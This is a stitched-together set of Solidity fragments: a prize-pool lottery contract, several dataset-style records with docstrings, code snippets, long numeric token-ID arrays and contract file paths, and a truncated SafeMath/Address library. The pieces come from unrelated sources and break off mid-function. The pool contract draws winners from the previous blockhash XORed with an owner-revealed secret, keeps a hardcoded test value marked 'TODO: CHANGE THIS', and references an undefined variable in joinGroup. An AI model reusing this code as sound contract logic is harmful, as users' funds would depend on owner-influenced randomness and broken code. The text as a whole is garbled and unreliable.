pendingEntries[msg.sender].ticketCount + _countNonFixed; } } else { activeEntries[msg.sender] = Entry( msg.sender, "", FixidityLib.newFixed(0), 0, FixidityLib.newFixed(0), -1 ); pendingEntries[msg.sender] = PendingEntry(msg.sender, totalDeposit, _countNonFixed); entryCount = entryCount.add(1); } principleAmount = FixidityLib.add(principleAmount, totalDeposit); // the total amount cannot exceed the max pool size require(principleAmount <= maxPoolSizeFixedPoint24(FixidityLib.maxFixedDiv()), "pool size exceeds maximum"); emit BoughtTickets(msg.sender, _countNonFixed, totalDepositNonFixed); } /** * @notice Selects a winning address (and therefore group) and * updates winnings of winning group members. * @param _secret the secret for this drawing * @param _newSecretHash the hash of the secret for the next drawing * Fires the PoolUnlocked event. */ function draw(bytes32 _secret, bytes32 _newSecretHash) public onlyOwner { require(hasActivated, "the pool has not been activated yet"); require(keccak256(abi.encodePacked(_secret)) == secretHash, "secret does not match"); // we store the secret in the contract for ease of passing around and so // users can (with some annoyance) recreate a drawing themselves secret = _secret; winningAddress = calculateWinner(); winningGroup = activeEntries[winningAddress].groupId; require(_newSecretHash != 0, "secret hash must be defined"); // set new secret hash for next drawing secretHash = _newSecretHash; int256 totalWinningsFixed = updatePayouts(winningAddress); // pay the owner their fee uint256 fee = feeAmount(); if (fee > 0) { require(token.transfer(owner(), fee), "could not transfer winnings"); } // shift entries from pendingEntries to activeEntries activateEntriesInternal(); emit DrawingComplete(winningGroup, FixidityLib.fromFixed(totalWinningsFixed)); } /** * @notice Shifts all inactive entries to active entries and updates sortition tree/ * This will normally only be called by draw. However, before the first ever drawing * in the history of the contract, this will be called manually by the pool operator. * @author jmartinmcfly */ // TODO: address potential gas limit issues here function activateEntries() public onlyOwner { require(!hasActivated, "You have already activated the pool"); hasActivated = true; // update Entries for (uint i = 0; i < pendingAddresses.length; i++) { PendingEntry storage current = pendingEntries[pendingAddresses[i]]; Entry storage currentActive = activeEntries[current.addr]; currentActive.amount = FixidityLib.add(current.amount, currentActive.amount); currentActive.ticketCount = currentActive.ticketCount + current.ticketCount; //clear the pendingEntry current.amount = FixidityLib.newFixed(0); current.ticketCount = 0; // update sortition tree entry sortitionSumTrees.set(SUM_TREE_KEY, uint256(FixidityLib.fromFixed(currentActive.amount)), bytes32(uint256(current.addr))); } delete pendingAddresses; } /** * @notice Shifts all inactive entries to active entries and updates sortition tree/ * This will normally only be called by draw. However, before the first ever drawing * in the history of the contract, this will be called manually by the pool operator. * @author jmartinmcfly */ // TODO: address potential gas limit issues here function activateEntriesInternal() internal onlyOwner { // update Entries for (uint i = 0; i < pendingAddresses.length; i++) { PendingEntry storage current = pendingEntries[pendingAddresses[i]]; Entry storage currentActive = activeEntries[current.addr]; currentActive.amount = FixidityLib.add(current.amount, currentActive.amount); currentActive.ticketCount = currentActive.ticketCount + current.ticketCount; //clear the pendingEntry current.amount = FixidityLib.newFixed(0); current.ticketCount = 0; // update sortition tree entry sortitionSumTrees.set(SUM_TREE_KEY, uint256(FixidityLib.fromFixed(currentActive.amount)), bytes32(uint256(current.addr))); } delete pendingAddresses; } event NetTotalWinnings(int theWinnings, address theWinner); /** * @notice Updates the payouts of all activeEntries in the winning group (entry.totalWinnings). * Also updates unclaimedWinnings to reflect the new set of winners, * Effectively resetting the prize pool. * @param _winningAddress The address of the winning entry * @author jmartinmcfly */ function updatePayouts(address _winningAddress) internal returns (int256) { int totalWinningsFixed; // determine group of address Entry storage winner = activeEntries[_winningAddress]; // TODO: hacky, change group structure later finalAmount = FixidityLib.newFixed(int(moneyMarket.balanceOfUnderlying(address(this)))); int256 totalMinusUnclaimedPrizes = FixidityLib.subtract(finalAmount, unclaimedWinnings); if (winner.groupId == -1) { // winner gets the whole shebang totalWinningsFixed = netWinningsFixedPoint24(); emit NetTotalWinnings(FixidityLib.fromFixed(totalWinningsFixed), _winningAddress); // reset prize pool unclaimedWinnings = FixidityLib.add(unclaimedWinnings, totalWinningsFixed); winner.totalWinnings = FixidityLib.add(winner.totalWinnings, totalWinningsFixed); } else { Group storage winningGroupFull = groups[uint(winner.groupId)]; // calc total tickets int totalTickets = 0; for (uint i = 0; i < winningGroupFull.members.length; i++) { totalTickets = totalTickets + activeEntries[winningGroupFull.members[i]].ticketCount; } // get the total winnings from the drawing (minus the fee) totalWinningsFixed = netWinningsFixedPoint24(); emit NetTotalWinnings(FixidityLib.fromFixed(totalWinningsFixed),_winningAddress); // reset prize pool unclaimedWinnings = FixidityLib.add(unclaimedWinnings, totalWinningsFixed); // update payouts of all activeEntries in the group for (uint i = 0; i < winningGroupFull.members.length; i++) { Entry storage entryToChange = activeEntries[winningGroupFull.members[i]]; int proportion = FixidityLib.newFixedFraction(entryToChange.ticketCount, totalTickets); int winningsCut = FixidityLib.multiply(proportion, totalWinningsFixed); entryToChange.totalWinnings = FixidityLib.add(entryToChange.totalWinnings, winningsCut); } } return totalWinningsFixed; } /** * @notice donate to prize pool * @param _amount amount to donate */ function donateToPrizePool(uint _amount) external { require(_amount > 0, "amount of donation is less than or equal to zero"); uint256 _countNonFixed = _amount; require(token.transferFrom(msg.sender, address(this), _countNonFixed), "token transfer failed"); // send the newly sent tokens to the moneymarket emit BalanceEvent(_countNonFixed); require(token.approve(address(moneyMarket), _countNonFixed), "could not approve money market spend"); emit BalanceEvent(_countNonFixed); // TODO: DOES THIS WORK? Can you mint twice? require(moneyMarket.mint(_countNonFixed) == 0, "could not supply money market"); } /** * @notice Transfers a users deposit, and potential winnings, back to them. * The Pool must be unlocked. * The user must have deposited funds. Fires the Withdrawn event. */ function withdraw(int _numTickets) public hasEntry { require(_hasEntry(msg.sender), "entrant exists"); Entry storage entry = activeEntries[msg.sender]; PendingEntry storage pendingEntry = pendingEntries[msg.sender]; require(_numTickets <= (entry.ticketCount + pendingEntry.ticketCount), "You don't have that many tickets to withdraw!"); int256 prizeToWithdraw = FixidityLib.newFixed(0); // if user has winnings add winnings to the withdrawal and clear their // winnings + decrease unclaimed winnings if (FixidityLib.fromFixed(entry.totalWinnings) != 0) { prizeToWithdraw = FixidityLib.add(prizeToWithdraw, entry.totalWinnings); // we have now withdrawn all winnings entry.totalWinnings = FixidityLib.newFixed(0); unclaimedWinnings = FixidityLib.subtract(unclaimedWinnings, prizeToWithdraw); } // then withdraw tickets int256 numTicketsFixed = FixidityLib.newFixed(_numTickets); int256 principleToWithdraw = FixidityLib.multiply(numTicketsFixed, ticketPrice); if (pendingEntry.ticketCount > 0) { if (_numTickets <= pendingEntry.ticketCount) { pendingEntry.amount = FixidityLib.subtract(pendingEntry.amount, principleToWithdraw); pendingEntry.ticketCount = pendingEntry.ticketCount - _numTickets; } else { int256 amountLeft = FixidityLib.subtract(principleToWithdraw, pendingEntry.amount); int256 ticketsLeft = _numTickets - pendingEntry.ticketCount; pendingEntry.amount = FixidityLib.newFixed(0); pendingEntry.ticketCount = 0; // update entry entry.amount = FixidityLib.subtract(entry.amount, amountLeft); entry.ticketCount = entry.ticketCount - ticketsLeft; // update sum tree to reflect withdrawn principle sortitionSumTrees.set(SUM_TREE_KEY, uint256(entry.amount), bytes32(uint256(msg.sender))); } } else { entry.amount = FixidityLib.subtract(entry.amount, principleToWithdraw); entry.ticketCount = entry.ticketCount - _numTickets; // update sum tree to reflect withdrawn principle sortitionSumTrees.set(SUM_TREE_KEY, uint256(entry.amount), bytes32(uint256(msg.sender))); } // calculate total withdrawal amount int256 totalToWithdraw = FixidityLib.add(prizeToWithdraw, principleToWithdraw); int256 totalToWithdrawNonFixed = FixidityLib.fromFixed(totalToWithdraw); int256 remainingTickets = entry.ticketCount; emit Withdrawn(msg.sender, totalToWithdrawNonFixed, remainingTickets); // withdraw given amount from compound contract require(moneyMarket.redeemUnderlying(uint256(totalToWithdrawNonFixed)) == 0, "could not redeem from compound"); require(token.transfer(msg.sender, uint256(totalToWithdrawNonFixed)), "could not transfer winnings"); } function calculateWinner() private view returns (address) { if (principleAmount > 0) { return address(uint256(sortitionSumTrees.draw(SUM_TREE_KEY, randomToken()))); } else { return address(0); } } /** * @notice Selects and returns the winner's address * @return The winner's address */ function winnerAddress() public view returns (address) { return winningAddress; } /** * @notice Computes the total winnings for the drawing (interest - fee) * @return the total winnings as a fixed point 24 */ function netWinningsFixedPoint24() internal view returns (int256) { return FixidityLib.subtract(grossWinningsFixedPoint24(), feeAmountFixedPoint24()); } /** * @notice Computes the total interest earned on the pool as a fixed point 24. * This is what the winner will earn once the pool is unlocked. * @return The total interest earned on the pool as a fixed point 24. */ function grossWinningsFixedPoint24() internal view returns (int256) { int256 totalMinusUnclaimedPrizes = FixidityLib.subtract(finalAmount, unclaimedWinnings); return FixidityLib.subtract(totalMinusUnclaimedPrizes, principleAmount); } /** * @notice Calculates the size of the fee based on the gross winnings * @return The fee for the pool to be transferred to the owner */ function feeAmount() public view returns (uint256) { return uint256(FixidityLib.fromFixed(feeAmountFixedPoint24())); } /** * @notice Calculates the fee for the pool by multiplying the gross winnings by the fee fraction. * @return The fee for the pool as a fixed point 24 */ function feeAmountFixedPoint24() internal view returns (int256) { return FixidityLib.multiply(grossWinningsFixedPoint24(), feeFraction); } /** * @notice Selects a random number in the range from [0, total tokens deposited) * @return If the current block is before the end it returns 0, otherwise it returns the random number. */ function randomToken() public view returns (uint256) { return _selectRandom(uint256(FixidityLib.fromFixed(principleAmount))); } /** * @notice Selects a random number in the range [0, total) * @param total The upper bound for the random number * @return The random number */ function _selectRandom(uint256 total) internal view returns (uint256) { return UniformRandomNumber.uniform(_entropy(), total); } /** * @notice Computes the entropy used to generate the random number. * The blockhash of the lock end block is XOR'd with the secret revealed by the owner. * @return The computed entropy value */ function _entropy() internal view returns (uint256) { return uint256(blockhash(block.number - 1) ^ secret); } /** * @notice Retrieves information about the pool. * @return A tuple containing: * entryTotal (the total of all deposits) * startBlock (the block after which the pool can be locked) * endBlock (the block after which the pool can be unlocked) * poolState (either OPEN, LOCKED, COMPLETE) * winner (the address of the winner) * supplyBalanceTotal (the total deposits plus any interest from Compound) * ticketCost (the cost of each ticket in DAI) * participantCount (the number of unique purchasers of tickets) * maxPoolSize (the maximum theoretical size of the pool to prevent overflow) * estimatedInterestFixedPoint18 (the estimated total interest percent for this pool) * hashOfSecret (the hash of the secret the owner submitted upon locking) */ function getInfo() public view returns ( int256 entryTotal, address winner, int256 supplyBalanceTotal, int256 ticketCost, uint256 participantCount, int256 maxPoolSize, int256 estimatedInterestFixedPoint18, bytes32 hashOfSecret ) { return ( FixidityLib.fromFixed(principleAmount), winningAddress, FixidityLib.fromFixed(finalAmount), FixidityLib.fromFixed(ticketPrice), entryCount, FixidityLib.fromFixed(maxPoolSizeFixedPoint24(FixidityLib.maxFixedDiv())), FixidityLib.fromFixed(currentInterestFractionFixedPoint24(), uint8(18)), secretHash ); } event Tester(string toTest); // TODO: test function userInfo(address _addr) external returns ( address addrReturned, string memory usernameReturned, int256 totalAmountReturned, int256 totalTicketsReturned, int256 activeAmountReturned, int256 activeTicketsReturned, int256 pendingAmountReturned, int256 pendingTicketsReturned, int256 totalWinningsReturned, int256 groupIdReturned ) { Entry storage entry = activeEntries[_addr]; PendingEntry storage pendingEntry = pendingEntries[_addr]; int256 totalAmount = FixidityLib.fromFixed(FixidityLib.add(pendingEntry.amount, entry.amount)); emit Tester(entry.username); return ( entry.addr, entry.username, totalAmount, entry.ticketCount + pendingEntry.ticketCount, FixidityLib.fromFixed(entry.amount), entry.ticketCount, FixidityLib.fromFixed(pendingEntry.amount), pendingEntry.ticketCount, FixidityLib.fromFixed(entry.totalWinnings), entry.groupId ); } /** * @notice Retrieves information about a user's entry in the Pool. * @return Returns a tuple containing: * addr (the address of the user) * username * amount (the amount they deposited) * ticketCount (the number of tickets they have bought) * totalWinnings (total unwithdrawn winnings of the user. Doesn't count principle) * groupId (the id of the user's group) */ function getEntry(address _addr) public view returns ( address addr, string memory username, int256 amount, int256 ticketCount, int256 totalWinnings, int256 groupId ) { Entry storage entry = activeEntries[_addr]; //emit TotalWinnings(entry.totalWinnings); //emit TotalWinnings(FixidityLib.fromFixed(entry.totalWinnings)); return ( entry.addr, entry.username, FixidityLib.fromFixed(entry.amount), entry.ticketCount, FixidityLib.fromFixed(entry.totalWinnings), entry.groupId ); } /** * @notice Retrieves information about a user's entry in the Pool. * @return Returns a tuple containing: * addr (the address of the user) * username * amount (the amount they deposited) * ticketCount (the number of tickets they have bought) * totalWinnings (total unwithdrawn winnings of the user. Doesn't count principle) * groupId (the id of the user's group) */ function getEntryByUsername(string calldata theUsername) external view returns ( address addr, string memory username, int256 amount, int256 ticketCount, int256 totalWinnings, int256 groupId ) { Entry storage entry = activeEntries[users[theUsername]]; return ( entry.addr, entry.username, FixidityLib.fromFixed(entry.amount), entry.ticketCount, FixidityLib.fromFixed(entry.totalWinnings), entry.groupId ); } /** * @notice Retrieves information about a user's pending entry in the Pool. * @return Returns a tuple containing: * addr (the address of the user) * amount (the amount they deposited) * ticketCount (the number of tickets they have bought) */ function getPendingEntry(address _addr) public view returns ( address addr, int256 amount, int256 ticketCount ) { PendingEntry storage pending = pendingEntries[_addr]; return ( pending.addr, FixidityLib.fromFixed(pending.amount), pending.ticketCount ); } /** * @notice Calculates the maximum pool size so that it doesn't overflow after earning interest * @dev poolSize = totalDeposits + totalDeposits * interest => totalDeposits = poolSize / (1 + interest) * @return The maximum size of the pool to be deposited into the money market */ function maxPoolSizeFixedPoint24(int256 _maxValueFixedPoint24) public view returns (int256) { /// Double the interest rate in case it increases over the lock period. Somewhat arbitrarily. int256 interestFraction = FixidityLib.multiply(currentInterestFractionFixedPoint24(), FixidityLib.newFixed(2)); return FixidityLib.divide(_maxValueFixedPoint24, FixidityLib.add(interestFraction, FixidityLib.newFixed(1))); } /** * @notice Estimates the current effective interest rate using the money market's current supplyRateMantissa and the lock duration in blocks. * @return The current estimated effective interest rate */ // TODO: Add intelligent / enforced blockDuration function currentInterestFractionFixedPoint24() public view returns (int256) { // Chose a duration of one week // arbitrary and not enforced by the contract at all int256 blocksPerDay = 5760; int256 daysPerDrawing = 7; int256 blockDuration = blocksPerDay * daysPerDrawing; // TODO: CHANGE THIS blockDuration = 10; int256 supplyRateMantissaFixedPoint24 = FixidityLib.newFixed(int256(supplyRateMantissa()), uint8(18)); return FixidityLib.multiply(supplyRateMantissaFixedPoint24, FixidityLib.newFixed(blockDuration)); } /** * @notice Extracts the supplyRateMantissa value from the money market contract * @return The money market supply rate per block */ function supplyRateMantissa() public view returns (uint256) { return moneyMarket.supplyRatePerBlock(); } /** * @notice Determines whether a given address has bought tickets * @param _addr The given address * @return Returns true if the given address bought tickets, false otherwise. */ function _hasEntry(address _addr) internal view returns (bool) { return activeEntries[_addr].addr == _addr; } /** * @notice Determines whether a given address has bought tickets * @param _addr The given address * @return Returns true if the given address bought tickets, false otherwise. */ function _hasPendingEntry(address _addr) internal returns (bool) { return pendingEntries[_addr].addr == _addr; } }
* @notice Puts a user in a group if they've been invited and removes them from the allowed invite list. @param _groupId The group to join @author jmartinmcfly/ require the the user is in allowed WARNING: This may get funky because storage
function joinGroup(int256 _groupId) external hasEntry isSolo { Group storage theGroup = groups[uint(_groupId)]; bool isAllowed = false; for (uint i = 0; i < theGroup.allowedEntrants.length; i++) { if (theGroup.allowedEntrants[i] == msg.sender) { isAllowed = true; _burn(i, theGroup.allowedEntrants); } } require(isAllowed, "You do not have permission to join this group."); theGroup.members.push(msg.sender); newGroupMember.groupId = _groupId; }
15,884,377
[ 1, 26804, 279, 729, 316, 279, 1041, 309, 2898, 8081, 2118, 2198, 16261, 471, 7157, 2182, 628, 225, 326, 2935, 19035, 666, 18, 225, 389, 27547, 1021, 1041, 358, 1233, 225, 28296, 485, 267, 81, 8522, 715, 19, 2583, 326, 326, 729, 353, 316, 2935, 9744, 30, 1220, 2026, 336, 284, 1683, 93, 2724, 2502, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1233, 1114, 12, 474, 5034, 389, 27547, 13, 3903, 711, 1622, 11604, 12854, 288, 203, 565, 3756, 2502, 326, 1114, 273, 3252, 63, 11890, 24899, 27547, 13, 15533, 203, 565, 1426, 21956, 273, 629, 31, 203, 565, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 326, 1114, 18, 8151, 664, 313, 4388, 18, 2469, 31, 277, 27245, 288, 203, 1377, 309, 261, 5787, 1114, 18, 8151, 664, 313, 4388, 63, 77, 65, 422, 1234, 18, 15330, 13, 288, 203, 3639, 21956, 273, 638, 31, 203, 3639, 389, 70, 321, 12, 77, 16, 326, 1114, 18, 8151, 664, 313, 4388, 1769, 203, 1377, 289, 203, 565, 289, 203, 565, 2583, 12, 291, 5042, 16, 315, 6225, 741, 486, 1240, 4132, 358, 1233, 333, 1041, 1199, 1769, 203, 565, 326, 1114, 18, 7640, 18, 6206, 12, 3576, 18, 15330, 1769, 203, 565, 394, 1114, 4419, 18, 27547, 273, 389, 27547, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x49F137f60B5A7FbAD577D16f33cFe6Be743C8c06/sources/contracts/Market.sol
@notice Emitted when the earnings of a maturity are updated. @param timestamp current timestamp. @param maturity maturity date where the earnings were updated. @param unassignedEarnings pending unassigned earnings.
event FixedEarningsUpdate(uint256 timestamp, uint256 indexed maturity, uint256 unassignedEarnings);
3,005,906
[ 1, 1514, 11541, 1347, 326, 425, 1303, 899, 434, 279, 29663, 854, 3526, 18, 225, 2858, 783, 2858, 18, 225, 29663, 29663, 1509, 1625, 326, 425, 1303, 899, 4591, 3526, 18, 225, 640, 15938, 41, 1303, 899, 4634, 640, 15938, 425, 1303, 899, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 871, 15038, 41, 1303, 899, 1891, 12, 11890, 5034, 2858, 16, 2254, 5034, 8808, 29663, 16, 2254, 5034, 640, 15938, 41, 1303, 899, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xa5F5F3803f6174C94f71419834ab91dD2eb7963a/sources/FriendsFingersCrowdsale.sol
vault finalization task, called when owner calls finalize()
function finalization() internal { require(state == State.Active); if (goalReached()) { state = State.Closed; Closed(); if (friendsFingersRatePerMille > 0) { uint256 friendsFingersFee = weiRaised.mul(friendsFingersRatePerMille).div(1000); friendsFingersWallet.transfer(friendsFingersFee); } wallet.transfer(this.balance); state = State.Refunding; RefundsEnabled(); } if (friendsFingersRatePerMille > 0) { uint256 friendsFingersSupply = cap.mul(rate).mul(friendsFingersRatePerMille).div(1000); token.mint(owner, friendsFingersSupply); } token.transferOwnership(owner); super.finalization(); }
4,412,642
[ 1, 26983, 727, 1588, 1562, 16, 2566, 1347, 3410, 4097, 12409, 1435, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 727, 1588, 1435, 2713, 288, 203, 3639, 2583, 12, 2019, 422, 3287, 18, 3896, 1769, 203, 203, 3639, 309, 261, 27354, 23646, 10756, 288, 203, 5411, 919, 273, 3287, 18, 7395, 31, 203, 5411, 25582, 5621, 203, 203, 5411, 309, 261, 74, 22259, 42, 310, 414, 4727, 2173, 49, 14120, 405, 374, 13, 288, 203, 7734, 2254, 5034, 284, 22259, 42, 310, 414, 14667, 273, 732, 77, 12649, 5918, 18, 16411, 12, 74, 22259, 42, 310, 414, 4727, 2173, 49, 14120, 2934, 2892, 12, 18088, 1769, 203, 7734, 284, 22259, 42, 310, 414, 16936, 18, 13866, 12, 74, 22259, 42, 310, 414, 14667, 1769, 203, 5411, 289, 203, 203, 5411, 9230, 18, 13866, 12, 2211, 18, 12296, 1769, 203, 5411, 919, 273, 3287, 18, 1957, 14351, 31, 203, 5411, 3941, 19156, 1526, 5621, 203, 3639, 289, 203, 203, 3639, 309, 261, 74, 22259, 42, 310, 414, 4727, 2173, 49, 14120, 405, 374, 13, 288, 203, 5411, 2254, 5034, 284, 22259, 42, 310, 414, 3088, 1283, 273, 3523, 18, 16411, 12, 5141, 2934, 16411, 12, 74, 22259, 42, 310, 414, 4727, 2173, 49, 14120, 2934, 2892, 12, 18088, 1769, 203, 5411, 1147, 18, 81, 474, 12, 8443, 16, 284, 22259, 42, 310, 414, 3088, 1283, 1769, 203, 3639, 289, 203, 203, 3639, 1147, 18, 13866, 5460, 12565, 12, 8443, 1769, 203, 203, 3639, 2240, 18, 6385, 1588, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns 